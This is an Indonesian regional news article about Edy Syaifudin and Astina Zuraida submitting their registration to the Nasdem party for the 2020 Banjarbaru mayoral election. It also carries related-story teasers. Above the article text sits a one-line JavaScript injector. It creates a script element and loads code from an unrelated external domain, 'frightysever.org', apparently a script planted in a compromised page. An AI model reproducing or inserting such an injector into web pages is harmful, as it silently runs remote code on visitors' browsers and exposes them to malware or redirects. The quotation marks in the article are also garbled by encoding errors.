(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tak hanya Golkar dan PDIP, sejumlah partai lain juga menjadi incaran kandidat sebagai kendaraan politik pada Pilkada Banjarbaru 2020. Seperti Nasdem. Di injury time penutupan pendaftaran pada Rabu (23/10) sore, Edy Syaifudin menyerahkan berkas formulir pendaftaran. Dia datang bersama calon wakilnya Astina Zuraida. Siapa mereka?
Kedatangan pasangan ini, disambut langsung oleh Sekretaris DPD Nasdem Kota Banjarbaru Takyin Baskoro, medwakili Ketua Tim Penjaringan Rusdi Maulana yang berhalangan hadir, dan juga jajaran Partai Nasdem Kota Banjarbaru lainnya.
Setelah menyerahkan berkas dan dinyatakan lengkap, Edy Syaifudin menuturkan alasan mengapa dirinya mendaftar di Partai Nasdem, karena sesuai dengan visi dan misi mereka, yakni Banjarbaru bersinergi, menciptakan Pilkada bersih dan elegan di Banjarbaru.  “Partai Nasdem kami anggap sejalan dengan kami dalam hal memberantas money politic dalam proses Pilkada,†kata aktivis yang juga menggagas Tim Anti Politik Uang (TAPU) ini.
Ya, money politic menjadi alasan mengapa Edy membentuk TAPU dengan tujuan untuk mengawali dan mengawasi proses Pilkada bersih. Meskipun sebagai penggagas, TAPU juga akan mengawal Tim Banjarbaru Bersinergi. “Apabila tim saya juga melakukan hal-hal kecurangan, TAPU juga berhak menindaklanjutinya,†tegas Edy.
Edy menjelaskan bahwa sudah jauh-jauh hari telah dipersiapkan. Namun, lantara masih banyaknya kegiatan yang dilakoninya, maka dirinya tidak ingin lebih dulu membocorkan ke publik.  “Hari ini kita bawa dan perkenalkan, beliau (Astina Zuraida) adalah aktivis emak-emak Kalimantan Selatan,†tambahnya.
Pada kesempatan itu pula, kandidat bakal calon Wakil Walikota Banjarbaru, Astina Zuraida menambahkan, bahwa ia mempunyai kesamaan visi dengan Edy Syaifudin. “Jadi ada perubahan birokrasi untuk Banjarbaru, supaya tidak ada lagi money politic,†kata Astina.
Sementara itu, Sekretaris DPD Nasdem Kota Banjarbaru Takyin Baskoro menerangkan, bahwa selama satu bulan pendaftaran (23 September-23 Oktober) yang sudah mendaftar di tim penjaringan, terdiri dari 2 pasang bakal calon dan 1 orang bakal calon Walikota.
Mereka adalah bakal calon Walikota Dr Abdul Halim, pasangan petahana Nadjmi Adhani-Darmawan Jaya, dan pasangan Edy Syaifuddin-Astina Zuraida.  “Setelah ditutupnya pendaftaran ini, maka DPD Nasdem Kota Banjarbaru dalam hal ini tim penjaringan akan mengadakan rapat pleno verifikasi persyaratan bakal calon yang mendaftar. Setelah itu akan kita buat berita acara dan diserahkan ke Dewan Pimpinan Wilayah (DPW) Partai Nasdem Provinsi Kalimantan Selatan,†terangnya. (Rico)
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.